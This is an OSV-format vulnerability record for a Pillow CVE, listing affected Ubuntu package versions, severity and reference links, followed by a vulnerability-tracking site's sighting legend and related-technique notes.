Vulnerability from osv_ubuntu – Published: 2026-10-23 00:00 – Updated: 2026-10-23 00:00 – Source website(Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow's ...)
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-imaging",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-imaging-compat",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-imaging-sane",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-imaging-tk",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-pil",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-pil.imagetk",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python-sane",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-imaging",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-imaging-sane",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-imaging-tk",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-pil",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
},
{
"binary_name": "python3-sane",
"binary_version": "2.3.0-1ubuntu3.4+esm5"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:14.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@2.3.0-1ubuntu3.4+esm5?arch=source\u0026distro=esm-infra-legacy/trusty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.2.1-1ubuntu2",
"2.2.1-2ubuntu1",
"2.2.1-3ubuntu2",
"2.2.1-3ubuntu3",
"2.2.1-3ubuntu4",
"2.2.1-3ubuntu6",
"2.3.0-1ubuntu1",
"2.3.0-1ubuntu2",
"2.3.0-1ubuntu3",
"2.3.0-1ubuntu3.2",
"2.3.0-1ubuntu3.3",
"2.3.0-1ubuntu3.4",
"2.3.0-1ubuntu3.4+esm1",
"2.3.0-1ubuntu3.4+esm2",
"2.3.0-1ubuntu3.4+esm3",
"2.3.0-1ubuntu3.4+esm4",
"2.3.0-1ubuntu3.4+esm5"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-imaging",
"binary_version": "3.1.2-0ubuntu1.6+esm3"
},
{
"binary_name": "python-pil",
"binary_version": "3.1.2-0ubuntu1.6+esm3"
},
{
"binary_name": "python-pil.imagetk",
"binary_version": "3.1.2-0ubuntu1.6+esm3"
},
{
"binary_name": "python3-pil",
"binary_version": "3.1.2-0ubuntu1.6+esm3"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "3.1.2-0ubuntu1.6+esm3"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:16.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@3.1.2-0ubuntu1.6+esm3?arch=source\u0026distro=esm-infra/xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.9.0-1",
"3.0.0-1",
"3.0.0-1build1",
"3.1.0-1",
"3.1.1-1",
"3.1.2-0ubuntu1",
"3.1.2-0ubuntu1.1",
"3.1.2-0ubuntu1.3",
"3.1.2-0ubuntu1.4",
"3.1.2-0ubuntu1.5",
"3.1.2-0ubuntu1.6",
"3.1.2-0ubuntu1.6+esm1",
"3.1.2-0ubuntu1.6+esm2",
"3.1.2-0ubuntu1.6+esm3"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-pil",
"binary_version": "5.1.0-1ubuntu0.8+esm2"
},
{
"binary_name": "python-pil.imagetk",
"binary_version": "5.1.0-1ubuntu0.8+esm2"
},
{
"binary_name": "python3-pil",
"binary_version": "5.1.0-1ubuntu0.8+esm2"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "5.1.0-1ubuntu0.8+esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@5.1.0-1ubuntu0.8+esm2?arch=source\u0026distro=esm-infra/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.1-3build2",
"4.3.0-2ubuntu1",
"5.0.0-1",
"5.1.0-1",
"5.1.0-1ubuntu0.2",
"5.1.0-1ubuntu0.3",
"5.1.0-1ubuntu0.4",
"5.1.0-1ubuntu0.5",
"5.1.0-1ubuntu0.6",
"5.1.0-1ubuntu0.7",
"5.1.0-1ubuntu0.8",
"5.1.0-1ubuntu0.8+esm1",
"5.1.0-1ubuntu0.8+esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pil",
"binary_version": "7.0.0-4ubuntu0.9+esm1"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "7.0.0-4ubuntu0.9+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:20.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@7.0.0-4ubuntu0.9+esm1?arch=source\u0026distro=esm-infra/focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"6.1.0-1",
"6.1.0-1build1",
"6.2.1-2",
"7.0.0-4",
"7.0.0-4build1",
"7.0.0-4ubuntu0.1",
"7.0.0-4ubuntu0.2",
"7.0.0-4ubuntu0.3",
"7.0.0-4ubuntu0.4",
"7.0.0-4ubuntu0.5",
"7.0.0-4ubuntu0.6",
"7.0.0-4ubuntu0.7",
"7.0.0-4ubuntu0.8",
"7.0.0-4ubuntu0.9",
"7.0.0-4ubuntu0.9+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-pil",
"binary_version": "6.2.1-3ubuntu0.1~esm2"
},
{
"binary_name": "python-pil.imagetk",
"binary_version": "6.2.1-3ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:20.04:LTS",
"name": "pillow-python2",
"purl": "pkg:deb/ubuntu/pillow-python2@6.2.1-3ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"6.2.1-3~build1",
"6.2.1-3",
"6.2.1-3ubuntu0.1~esm1",
"6.2.1-3ubuntu0.1~esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pil",
"binary_version": "9.0.1-1ubuntu0.5"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "9.0.1-1ubuntu0.5"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@9.0.1-1ubuntu0.5?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.1.2+dfsg-0.3",
"9.0.0-1",
"9.0.1-1",
"9.0.1-1build1",
"9.0.1-1ubuntu0.1",
"9.0.1-1ubuntu0.2",
"9.0.1-1ubuntu0.3",
"9.0.1-1ubuntu0.4",
"9.0.1-1ubuntu0.5"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pil",
"binary_version": "10.2.0-1ubuntu1.3"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "10.2.0-1ubuntu1.3"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@10.2.0-1ubuntu1.3?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.0.0-1",
"10.1.0-1",
"10.2.0-1",
"10.2.0-1build1",
"10.2.0-1ubuntu1",
"10.2.0-1ubuntu1.2",
"10.2.0-1ubuntu1.3"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pil",
"binary_version": "12.3.0-1ubuntu1"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "12.3.0-1ubuntu1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.10",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@12.3.0-1ubuntu1?arch=source\u0026distro=stonking"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"12.1.1-2ubuntu1",
"12.3.0-1ubuntu1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pil",
"binary_version": "12.1.1-2ubuntu1.3"
},
{
"binary_name": "python3-pil.imagetk",
"binary_version": "12.1.1-2ubuntu1.3"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "pillow",
"purl": "pkg:deb/ubuntu/pillow@12.1.1-2ubuntu1.3?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"11.3.0-1ubuntu1",
"11.3.0-1ubuntu2",
"12.0.0-1ubuntu1",
"12.1.1-1ubuntu1",
"12.1.1-2ubuntu1",
"12.1.1-2ubuntu1.1",
"12.1.1-2ubuntu1.2",
"12.1.1-2ubuntu1.3"
]
}
],
"aliases": [],
"details": "(Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow\u0026#x27;s ...)",
"id": "UBUNTU-CVE-2026-112404",
"modified": "2026-10-23T00:00:00Z",
"published": "2026-10-23T00:00:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-112404"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
},
{
"type": "REPORT",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-112404"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.